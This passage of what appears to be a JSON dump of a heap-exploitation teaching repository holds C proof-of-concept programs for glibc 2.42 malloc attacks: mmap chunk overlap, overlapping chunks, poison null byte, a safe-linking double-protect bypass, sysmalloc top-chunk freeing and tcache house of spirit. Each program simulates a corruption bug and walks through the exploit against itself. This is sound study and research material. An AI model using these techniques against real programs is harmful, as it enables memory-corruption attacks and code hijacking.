mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.42/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.42/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.42/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  (ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// force the allocation of tcache_perthread_struct\n\tfree(malloc(0x60));\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x28 for 0x30 t-cache\n\tputs(\"\\t- 0x30 chunks:\");\n\tvoid *a = malloc(0x28);\n\tvoid *b = malloc(0x28);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x30 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x30 chunks:\");\n\t// Free the allocated 0x28 chunks to populate the 0x30 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x30 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability\n\tputs(\"Modify the 0x30 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x30 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x30 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xb0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x28);\n\tprintf(\"\\t\\t> 0x30 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xb0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0xa8) = (long)(metadata)+0xb0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xb0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.42/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.42/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.42/tcache_metadata_hijacking.c",
